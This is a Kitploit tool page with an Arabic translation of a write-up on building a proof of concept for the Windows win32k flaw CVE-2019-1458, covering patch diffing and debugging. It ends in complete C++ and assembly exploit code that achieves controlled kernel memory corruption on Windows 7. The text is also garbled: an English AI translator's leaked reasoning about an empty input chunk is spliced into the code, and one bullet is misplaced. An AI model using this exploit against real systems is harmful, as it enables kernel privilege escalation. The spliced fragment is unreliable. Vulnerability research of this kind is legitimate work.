Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2019-1458_POC — إثبات المفهوم لـ cve-2019-1458 | Kitploit
أدوات/GitHubGitHub/piotrflorczyk/cve-2019-1458_poc
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةالتعلم والتعليماستغلال الملفات الثنائية
GitHubpiotrflorczyk/cve-2019-1458_poc

cve-2019-1458_POC

إثبات المفهوم لـ cve-2019-1458

عرض المستودع
18153منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-1458: الانتقال من 'تقرير الاستغلال في البرية' إلى POC

مقدمة

في ديسمبر نشرت كاسبرسكي تدوينة حول [استغلال 0day المستخدم في البرية][1]. أثار ذلك اهتمامي لأنه على الرغم من وصفهم لكيفية عمل الاستغلال، لم يقدموا أي POC في تحليلهم. لهذا قررت محاولة كتابة POC لهذه الثغرة بالاعتماد على تدوينة كاسبرسكي وتحليل التصحيح.
تصف هذه التدوينة رحلتي في فعل ذلك.

جمع المعلومات:

أول شيء كان جمع أكبر قدر ممكن من المعلومات حول هذه الثغرة. بقراءة التدوينة المذكورة استخرجت المعلومات التالية:

  • الثغرة مرتبطة بوظيفة تبديل النوافذ
  • تتطلب محاكاة ضغطات مفتاح ALT لتفعيلها
  • يجب أن يكون هناك استدعاءان لواجهة برمجة التطبيقات غير الموثقة NtUserMessageCall
  • يجب إنشاء نافذة تبديل خاصة
  • كانت هناك إشارة إلى دالة النواة win32k!DrawSwitchWndHilite

بالإضافة إلى ذلك، هناك لقطة شاشة جميلة للكود المُفكك تُظهر بعض الأشياء المذكورة سابقًا. على وجه الدقة، تُظهر: إنشاء نافذة التبديل، استدعاء دالة باسم toggle_alt_key واستدعاءات متعددة لـ NtUserMessageCall.

جزء من كود الاستغلال المُفكك [مصدر الصورة][1]

الكثير من المعلومات المفيدة، لكنها لا تزال لا تصف كيفية عمل هذه الثغرة بالضبط وكيفية تفعيلها.

مقارنة التصحيحات

[الوحدة المتأثرة كانت win32k.sys][2]. قمت بتحميل النسختين المصححة وغير المصححة من هذه الوحدة.
بالنسبة لـ Win7 x64 كانت هاتان:

  • المصححة: KB4530692
  • غير المصححة: KB4525233

يمكن تنزيلهما من [Microsoft Update Catalog][3]

إليك نتيجة bindiff لمقارنة النسختين

مقارنة win32k

بعد استبعاد الدوال المرتبطة بوظيفة DebugHook، كل ما يتبقى لنا حقًا هو هذه الدالة المتغيرة قليلًا InitFunctionTables()

تغييرات InitFunctionTables

بالتأكيد ليس أكبر تصحيح في العالم.
لن يساعد هذا في تحديد السبب الجذري لهذه الثغرة فورًا. لكن من الجدير بالملاحظة أنه تمت إضافة بعض القيم الأولية للمتغيرات عند *(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180). لذلك قد يكون هذا خطأ متعلقًا بمتغير غير مهيأ.

بناء POC - خطوة بخطوة

في هذا القسم سأعرض كيف بنيت POC الذي يفعّل هذه الثغرة تدريجيًا، مع اكتشاف ماهية الثغرة في الوقت نفسه.

من أين نبدأ

لم تقدم مقارنة التصحيحات الكثير من المعلومات المفيدة في البداية، لذلك اعتمدت بشكل أساسي على تدوينة كاسبرسكي في المرحلة الأولى من التطوير.
للحصول على بيئة اختبار جيدة، أعددت جهازًا افتراضيًا (VM) بنظام Win7 SP1 x64 يعمل بأحدث نسخة معرضة للثغرة من win32k. بالإضافة إلى ذلك، ربطت Windbg بهذا الجهاز الافتراضي للقيام بتصحيح أخطاء النواة، وأثناء ذلك قمت أيضًا بإعداد مسار خادم الرموز.
بدأت تحقيقي بالنظر إلى win32k!DrawSwitchWndHilite التي ذُكرت في التدوينة. يتم استدعاؤها من مكانين: xxxMoveSwitchWndHilite و xxxPaintSwitchWindow، والأخيرة لفتت انتباهي فورًا بسبب استدعاءات GetKeyState/GetAsyncKeyState المحيطة بها والتي ذُكرت في التقرير الأصلي. والأكثر من ذلك أن هذه الاستدعاءات تتحقق من كون مفتاح ALT مضغوطًا.

موقع استدعاء مثير للاهتمام لـ DrawSwitchWndHilite
استدعاء DrawSwitchWndHilite من xxxPaintSwitchWindow

بمتابعة مراجع الاستدعاء المتقاطعة (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite) وجدت أن العنصر الأول في تلك السلسلة مُشار إليه في InitFunctionTables، الدالة التي تم إصلاحها في التصحيح.

بعد ذلك نظرت في NtUserMessageCall من لقطة شاشة الكود المُفكك. إليك تعريف هذه الدالة```cpp NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

root@kitploit:~
يستدعيها الاستغلال مع `msg = 0x14` و `dwType = 0xE0`. لنرَ ما الذي يفعله.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
    printf("[-] Failed registering SploitWnd window class\n");
    exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to create SploitWnd window\n");
    exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

هنا قمت بتسجيل فئة نافذة بسيطة وأنشأت نافذة من تلك الفئة. ثم استدعيت NtUserMessageCall بنفس معاملات الاستغلال. لمعرفة ما يحدث داخل الكود، قمت بتعيين نقطة توقف kd> ba e 1 win32k!NtUserMessageCall وتشغيل الكود. يتم إجراء عدد غير قليل من الاستدعاءات لهذه الدالة، لذا كان عليّ التقاط الاستدعاء الصحيح، لكن الأمر لم يكن بهذه الصعوبة؛ كان الاستدعاء ذا مكدس استدعاء قصير جدًا.

NtUserMessageCall
NtUserMessageCall

عند التنقل في الكود تبيّن أنها تستدعي دالة من مصفوفة gapfnMessageCall؛ يُحسب الفهرس بناءً على قيمة msg ويساوي 0، لذلك يتم الاستدعاء إلى NtUserfnDWORD.

NtUserfnDWORD
NtUserfnDWORD

الاستدعاء التالي يتم باستخدام قيمة dwType، والآن إزاحة gpsi تساوي 0x40، ويؤدي الاستدعاء إلى xxxWrapSwitchWndProc (هذه الدالة ظهرت بالفعل عندما كنت أفحص سلسلة استدعاءات DrawSwitchWndHilite).
xxxWrapSwitchWndProc تستدعي ببساطة xxxSwitchWndProc.

xxxSwitchWndProc
xxxSwitchWndProc

وهذه هي النهاية؛ يفشل الكود هنا ولا يتقدم أكثر إلى xxxPaintSwitchWindow، وهو المكان الذي نريد الوصول إليه بناءً على قيمة msg (0x14). دعنا نتحقق من السبب.

تفعيل المسار الصحيح

يفشل الكود في هذه المرحلة لأنه، كما هو موضح في الصورة السابقة، قيمة fnid لنافذتنا لا تساوي 0x2A0 (FNID_SWITCH) والرسالة التي نرسلها لا تساوي 1، وبالتالي ننتهي في xxxDefWindowProc. لتجنب هذا السيناريو، يجب علينا استدعاء xxxSwitchWndProc مع ضبط قيمة fnid إلى FNID_SWITCH، حتى ننتقل مباشرة إلى جملة switch ثم إلى xxxPaintSwitchWindow.
كيف نضبط قيمة fnid الصحيحة؟ في الواقع، الدالة نفسها تقوم بذلك في كتلة if الأولى؛ كل ما علينا فعله هو إفشال جميع الفحوصات داخلها للوصول إلى التعليمة التي تضبط fnid.

إليك الشروط التي يجب تحقيقها لإفشال فحوصات if الثلاثة:

  • fnid == 0 و cbwndExtra + 0x128 >= *(gpsi + 0x154)
    قيمة fnid تساوي 0 لكل نافذة مستخدم منشأة حديثًا. *(gpsi+0x154) تساوي 0 في win32k! غير المُرقّع. ولكن حتى لو تم تعيينها إلى 0x130، كما في الإصدار المُرقّع، يمكننا ضبط cbwndExtra إلى 8 أو أكثر وما زال بإمكاننا تجاوز الفحص الأول.
  • msg == 1
    يمكن تعيين ذلك في استدعاء NtUserMessageCall. ومع ذلك، مع ضبط msg إلى 1، يمر تدفق التحكم عبر NtUserfnINLPCREATESTRUCT بدلاً من NtUserfnDWORD، لكنه لا يزال ينتهي في xxxSwitchWndProc.

إذا تحققت جميع هذه الشروط، سيتم تعيين قيمة fnid للنافذة إلى FNID_SWITCH.
إذن نحتاج الآن إلى استدعاء NtUserMessageCall مرتين: الأولى بقيمة msg تساوي 1 لتعيين fnid المطلوب، والثانية للوصول إلى xxxPaintSwitchWindow.```cpp HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);

printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);

root@kitploit:~
لقد أضفت `extraData` إلى فئة النافذة وأضفت استدعاءً ثانيًا إلى `NtUserMessageCall`. الآن أصبح تدفق التحكم قادرًا على الوصول إلى `xxxPaintSwitchWindow`.  
(ملاحظة جانبية: لا يلزم أن تكون `dwType` مساوية لـ `0xE0`؛ فالقيمة `0` تعمل أيضًا، لأنها تخضع لعملية AND مع `0x1F` على أي حال داخل `NtUserfnDWORD`)

![xxxPaintSwitchWindow](https://assets.kitploit.com/production/public/readmes/30684/0a794f2d2af1e438ad43ce6f36921871ba04eeadeba67141388de7163ceaa0fa.png)  
*`xxxPaintSwitchWindow`*

عند الفحص الدقيق لاحظت أن القيمة `extraWndData` المأخوذة من كائن النافذة (السطر 25) تُستخدم كمؤشر للكتابة إليه (الأسطر 46-52)! إذا تمكنت من الوصول إلى الكود الذي يضبط `extraWndData` على قيمة أتحكم بها، يمكنني إفساد ذاكرة عشوائية!  
للوصول إليه، أحتاج أولاً إلى تجاوز فحص إضافي (معلّم بالأحمر)

- تحقق مما إذا كانت النافذة تملك العلم `WS_VISIBLE` مضبوطًا.  
يمكن ضبط هذا العلم في `CreateWindowEx`
- `fnid == 0x2A0` و `cbwndExtra + 0x128 == *(gpsi + 0x154)`  
تم بالفعل تعيين `fnid` بواسطة أول `NtUserMessageCall`.  
تكمن المشكلة في الجزء الثاني من هذا الفحص لأن `*(gpsi + 0x154)` غير مهيّأ في وحدة `win32k` القابلة للاستغلال، وبالتالي سيفشل هذا الفحص دائمًا. إلا إذا قمنا بطريقة ما بتعيين `*(gpsi+0x154)` إلى القيمة الصحيحة. واتضح أن إنشاء نافذة التبديل الخاصة، المذكورة في منشور Kaspersky، يفعل ذلك بالضبط.
- تحقق من أن النافذة لم تُدمَّر.  
مُحقَّق بالفعل في هذه الحالة.

لإنشاء [نافذة التبديل][4] الخاصة، نحتاج إلى استدعاء `CreateWindowEx` مع تعيين الاسم إلى `0x8003` (`#32771`). سيؤدي هذا في النهاية إلى استدعاء `InternalRegisterClassEx` في النواة.

![InternalRegisterClassEx](https://assets.kitploit.com/production/public/readmes/30684/899c70257bac4c26d99e4bfb6e14d024a586bc7fb3bc11cddb5f544409165092.png)  
*جزء من دالة `InternalRegisterClassEx`*

سيؤدي هذا إلى تهيئة `*(gpsi+0x154)` إلى `0x130`. التأثير الجانبي لذلك هو أنه بمجرد تعيين هذا المتغير، لا توجد طريقة لإعادته إلى 0. لذا لدينا فرصة واحدة فقط لتشغيل الاستغلال. أي محاولات أخرى، حتى إعادة التشغيل التالية، ستفشل.

### التحكم في القيمة التي يُفكّ مرجعها

أصبحت الآن قادرًا على التحكم في `extraWndData`، التي يُفكّ مرجعها لاحقًا كمؤشر ويُكتب فيها داخل `xxxPaintSwitchWindow`. يمكن التحكم في `extraWndData` عن طريق استدعاء```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

شيء يجب أن تضعه في الاعتبار هو أن هذا الاستدعاء يجب أن يتم بعد أول استدعاء لـ NtUserMessageCall، لأنه كما تبيّن فإن xxxSwitchWndProc يحتاج إلى أن يكون extraData الخاص بالنافذة مضبوطًا على 0 في هذا الاستدعاء الأول، لتجاوز الفحوصات اللازمة. أيضًا يجب استدعاء SetWindowLongPtr قبل إنشاء نافذة التبديل، وإليك السبب:

xxxSetWindowLong جزء من دالة xxxSetWindowLong

هنا هو الموضع الذي نستغل فيه فعليًا المتغير غير المُهيأ *(gpsi + 0x154). عندما يمر هذا الفحص، نضبط wnd->extraData على قيمة عشوائية. لو كان هذا قد مُهيأ بشكل صحيح، لفشل الاستغلال هنا.```cpp HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

root@kitploit:~
![تصحيح تشغيل ناجح للاستغلال](https://assets.kitploit.com/production/public/readmes/30684/041723bb4c11895a5884059ccea0376d06d26056b4f0bac758dd712055b05b09.png)

بعد هذا بوقت قصير نحصل على bugcheck عند إلغاء الإشارة إلى `rdi`.  
تشغيل نفس الاستغلال على ويندوز مُحدَّث:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr تفشل مع رمز الخطأ 0x585 بسبب *(gpsi + 0x154) المهيّأ بشكل صحيح. والنواة لا تتعطل.

السبب الجذري (ملخّص)

باختصار، كانت المشكلة الأساسية هي المتغير غير المهيّأ *(gpsi+0x154).
لكن ما هذه القيمة، ولماذا هي مهمة؟
gpsi هو مؤشر عام إلى بنية [tagSERVERINFO][5]. تصف هذه البنية، من بين أمور أخرى، نوافذ النظام (مثل القوائم، وسطح المكتب، ونافذة التبديل، وما إلى ذلك)، على عكس النوافذ التي يعرّفها المستخدم. تُعرَّف نوافذ النظام هذه بواسطة FNID الخاص بها، على سبيل المثال 0x2A0 يعني نافذة التبديل.

عندما يتم تعريف فئة النافذة باستخدام RegisterClassEx، تتاح لنا الفرصة لتحديد الحقل cbWndExtra في WNDCLASSEX؛ يصف هذا الحقل عدد البايتات الإضافية التي سيتم تخصيصها بالإضافة إلى بنية tagWND، لتخزين بعض المعلومات الخاصة بالنافذة. ثم نتمكن من تعديل تلك البايتات الإضافية باستخدام SetWindowLongPtr. تستخدم نوافذ النظام نفس الآلية تمامًا لتخزين البيانات الإضافية التي تحتاجها للعمل. لكن من حيث المبدأ، لا ينبغي أن تكون هذه البيانات قابلة للوصول باستخدام SetWindowLongPtr. ورأينا أنه يوجد بالفعل فحص في xxxSetWindowLongPtr من المفترض أن يمنع ذلك. بعد تطبيق معلومات الأنواع، يكون هذا هو الفحص:``` if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) goto exit_with_error

root@kitploit:~
Array `gpsi->mpFnid_serverCBWndProc` يصف حجم كائن نافذة النظام المعطى بما في ذلك البيانات الإضافية.  
`*(gpsi+0x154)` يصبح `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`  
بترك هذا الحقل غير مهيأ، يظن `xxxSetWindowLongPtr` أن حجم البيانات الإضافية هو `-sizeof(tagWND)`، وبالتالي نتمكن من الكتابة في حقل يفترض أن يكون خاصًا ببنية نافذة التبديل.

السبب الجذري لهذه الثغرة كان متغيرًا غير مهيأ (أو بالأحرى مهيأً إلى 0 افتراضيًا) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.  
هذا يفسر لماذا كان التصحيح صغيرًا جدًا. كل ما كان مطلوبًا فعله هو تعيينه إلى `sizeof(tagWND) + 8`. وبنفس الطريقة، أصبحت الآن عناصر المصفوفة الأخرى `mpFnid_serverCBWndProc` مهيأةً والتي لم تكن كذلك سابقًا (`FNID_DESKTOP`, `FNID_TOOLTIPS`)، ربما أيضًا لمنع أي متغيرات مستقبلية من هذا الاستغلال.

![InitFunctionTable with types](https://assets.kitploit.com/production/public/readmes/30684/d7a41949abd8ce0e3d34f642c080b315d20edfb4e480db16f915759c5e375436.png)

## إتلاف الذاكرة
مع الحالة الحالية للاستغلال، نتمكن من إحداث bugcheck، لكن الانهيار يحدث عند التعليمات:```asm
xxxPaintSwitchWindow + 0x8B:
cmp     [rdi+6Ch], r13d		; rdi = 0x4141414141414

ستكون الخطوة الأخيرة في تجهيز هذا الـ POC إذن هي تحفيز تعطل أكثر فائدة، أو الأفضل من ذلك، إفساد بعض الذاكرة دون أن يحدث أي تعطل إطلاقًا.

لتحقيق هذا الهدف الأخير، نحتاج إلى:

  • توفير مؤشر صالح لذاكرة قابلة للقراءة والكتابة (RW).
    اخترت تخصيص بعض الذاكرة باستخدام VirtualAlloc وتمرير المؤشر المُعاد إلى SetWindowLongPtr
  • محاكاة الضغط على مفتاح ALT.
    كما ذُكر سابقًا، هناك استدعاءات إلى GetKeyState/GetAsyncKeyState في xxxPaintSwitchWindow تتحقق مما إذا كان مفتاح ALT مضغوطًا. وإذا لم يكن الأمر كذلك، تخرج الدالة.
    يتم تحديد ما إذا كان سيتم استخدام GetKeyState أو GetAsyncKeyState بناءً على علامة في [extraWndData+6Ch]. اخترت محاكاة الضغط على ALT باستخدام استدعاء إلى SetKeyboardState. سيعمل هذا فقط مع GetKeyState، لذا أحتاج إلى تعيين القيمة عند الإزاحة 0x6C إلى `1````cpp ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

root@kitploit:~
بهذا الكود حصلت على تعطّل مختلف.```asm
DrawSwitchWndHilite + 0x10A:
mov     rcx, [r12+20h]
mov     dl, 1
mov     rcx, [rcx]		; rcx = 0

لذلك أقدم أيضًا مؤشرًا صالحًا عند الإزاحة 0x20 (يشير إلى نفسه)```cpp ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

root@kitploit:~
الآن يعمل الاستغلال دون أن يتعطل، وعندما نفحص محتوى الصفحة المخصصة يمكننا أن نرى أنه تم تعديله!

![Memory content](https://assets.kitploit.com/production/public/readmes/30684/08b7865f524a983ea91bda161f8356a75b0ca1a1c070eecd9950592ff23629ec.png)

لقد حققنا POC استغلال مستقرًا يفسد الذاكرة المقدَّمة له. هذه حالة أفضل بكثير من POC الذي يتعطل عند قراءة الذاكرة، لأن هذا الإفساد العشوائي للذاكرة يمكن تحويله بسهولة أكبر إلى قراءة/كتابة عشوائية على مستوى النواة. بالإضافة إلى ذلك، استخرجنا بالفعل المتطلبات التي يجب أن تستوفيها الذاكرة المراد إفسادها.

## الاستنتاج
في هذا الشرح التفصيلي، عرضت كيف انتقلت من وصف الاستغلال والثغرة إلى POC عملي يمكن تحويله إلى استغلال نواة مفيد.
كان هذا استغلالًا مثيرًا للاهتمام أصبح ممكنًا بسبب سطر واحد مفقود. لذا أعتقد أن الدرس المستفاد هو أنه يجب دائمًا تهيئة المتغيرات العامة.

## POC``` cpp
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

" which is not user content. Actually in the given prompt, after "INPUT:" there is a blank line then "Translating...". Wait, the message I see: "INPUT:" then newline, then maybe the next line is "```" or something? Let's re-read the actual user content carefully.

The user message as displayed:

"Translate the following Kitploit tool content. This is chunk 25 of 27 from a longer Markdown document being translated in sequence. The source language is en. Target language: ar. Content type: README chunk 25/27.

CHUNK-SPECIFIC RULES:

  1. Translate ONLY natural language text. NEVER translate: code blocks, shell commands, file paths, URLs, package names, technical identifiers, CVE IDs, environment variable names.
  2. Preserve ALL Markdown syntax EXACTLY as-is.
  3. DO NOT add introductory headings like "## Chunk N", "## Part N", "## Continued from..." or "## Translation of chunk...". DO NOT add "End of chunk N" or "Content continues..." markers.
  4. DO NOT add "..." ellipsis markers to indicate omission. Translate ONLY the exact text provided, character for character in structure.
  5. Chunk boundaries are intentional. Preserve structure so chunks can be concatenated seamlessly without visual artifacts.
  6. Return ONLY the translated text. No preamble, no commentary, no wrapping in code blocks, no JSON/YAML/XML, no arrays, no objects, no schemas, no key/value wrappers.
  7. If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source.

INPUT:"

Then after that, the next line is "Translate the following Kitploit tool content."? No, that's the beginning. Actually the user message ends with "INPUT:" and then a blank line, and then possibly the application/system added "Assistant:"? In the conversation, the user's message is the entire block. So indeed there is no content after "INPUT:". It's empty.

Given this, we cannot produce a meaningful translation. However, we could respond with an empty message. But the platform may expect some content. The safest is to output an empty string. But the instructions say "Return ONLY the translated text." If there is no source text, translation is empty. So I'll output nothing.

But wait, the instruction "This is chunk 25 of 27" implies there is content, but maybe the content is missing due to a technical error. We shouldn't hallucinate. So output empty.

I'll send an empty response.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT

PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END

root@kitploit:~
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
تنزيل الأداة
  • extraData == 0
    يمكن ضبط حجم ExtraData عند تسجيل فئة النافذة باستخدام cbwndExtra المذكور. يتم إلحاق ExtraData مباشرة بعد بنية tagWND (أضفت هذا الحقل إلى بنية tagWND في IDA كـ QWORD عند الإزاحة sizeof(tagWND)، لجعل الكود المُفكك أفضل قليلًا). يمكن تعيين قيمته عبر استدعاء SetWindowLongPtr.